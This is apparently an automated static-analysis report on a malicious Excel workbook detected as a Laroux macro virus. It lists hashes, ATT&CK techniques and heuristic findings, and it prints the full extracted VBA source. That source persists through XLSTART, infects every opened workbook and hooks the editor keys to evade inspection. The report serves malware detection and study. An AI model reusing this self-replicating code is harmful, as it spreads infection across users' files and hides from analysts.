Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 53d95b2a626663c6…

MALICIOUS

Office (OLE)

33.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2014-10-12
MD5: 87858df06565c08e04dbcfc1351220ae SHA-1: 63fa5ba7f4e9ed68ec042f1001576f88e94541cb SHA-256: 53d95b2a626663c6a5f680c0dc5ba62efa7a0ef87150ed866cff86e5ec9c3da7
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1070.004 File Deletion T1564.001 Hidden Window

The sample is a malicious Excel document containing VBA macros. It attempts to achieve persistence by saving itself as 'StartUp.xls' in the Excel XLSTART directory. The macros also hook Excel's 'OnSheetActivate' event and keyboard shortcuts ('F11', 'F8') to evade inspection and potentially spread to other workbooks, as indicated by the 'OLE_VBA_WORKBOOK_INFECTION_SPREADER' and 'OLE_VBA_VBE_KEY_HOOK_EVASION' heuristics.

Heuristics 6

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
    Application.OnSheetActivate = "StartUp.xls!cop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
    Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1912 bytes
SHA-256: b35f884f1ab3c6e6c1dbe2d6db716dba0e1ebba6f7c888a0fd88da628484a892
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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